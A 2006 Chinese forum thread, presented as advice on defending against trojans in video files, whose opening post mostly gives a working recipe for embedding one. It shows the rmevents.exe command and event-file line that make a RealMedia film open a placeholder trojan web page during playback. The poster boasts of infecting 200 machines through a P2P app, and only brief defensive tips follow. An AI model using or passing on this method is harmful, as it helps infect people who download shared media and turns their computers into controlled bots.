国际米兰

标题: [警惕]如何防御视频文件中的木马 [打印本页]

作者: romentic 时间: 2006-2-22 07:11:02 标题: [警惕]如何防御视频文件中的木马

现在网络上通过P2P技术受益的人越来越多了。于是有些病毒开始通过这个途径来传播。
所以，在使用的时候要提防病毒的侵入。
首先，你要先了解一下木马是怎样通过视频文件传播的。打个比方，在P2P软件里,很多的Real影片都是危险的,这只是一个小技巧,辅助的一种入侵方式，但这种方法很有效果，比如在著名的A片交流软件PP点点通里，我放了一个这样的小木马，两天就有200个肉鸡，并且呈几何状增长.大家别做坏事。使用Helix Producer Plus 9的rmevents.exe来修改影片的剪辑信息,可以在指定时间打开指定的窗口. 新建一个文本文件rmevents.txt. 输入： u 00:01:00.0 00:01:30.0http://www.xxxx.com.cn/muma.html 我来解释一下，它意思是说在00:01:00.0 00:01:30.0这个时间范围内打开后面的URL，后面的URL就是我们的木马地址。输入rmevents -i 电影 .rm -e rmevents.txt -o 电影 1.rm 这个命令，生成的电影 .rm就是我们的木马文件了。http://www.xxx.com.cn/muma.html这个地址是你做好的网页木马的地址，不管是动鲨木马啊，还是EXE2BMP的木马，还是什么CHM 木马 ,还是我崇拜的冰狐大哥的IFRAME溢出的网页木马都可以。主要是新，威力强。大家可以试一下。
防御方法：一，最重要的一点，嘿嘿，别看不健康的东西，对身体不好哦。二，换别的播放器，我推荐梦幻鼎点播放器，贼好用啊。三，看片时用防火墙屏蔽RealPlayer对网络的访问，但这样做在线看的时候就没保险了。四，最最重要的一点，打完所有的IE补丁。五，如果不怕麻烦，在看影片之前我们可以执行我们做木马的那一步，只是把rmevents.txt的内容清空再做，这样就清空了影片的剪辑信息了。就这么点东西。

作者: dedehui 时间: 2006-2-23 13:24:27

哇~~~好复杂的说~~~楼主厉害，先赞一个

作者: kyo20003698 时间: 2006-2-23 18:10:08

木马克星不管用吗？

作者: interwinall 时间: 2006-4-27 21:35:23

xiexie ti xing

作者: cqlc 时间: 2006-4-28 19:29:37

俺不看PP好多年....(贼笑中)

作者: interrrrrr 时间: 2006-5-2 21:44:37

以下是引用cqlc在2006-4-28 19:29:37的发言：
俺不看PP好多年....(贼笑中)

[em08][em08]

作者: scys533 时间: 2006-5-3 16:45:30

吓死了

[em08]

欢迎光临国际米兰 (http://bbs.inter.net.cn/)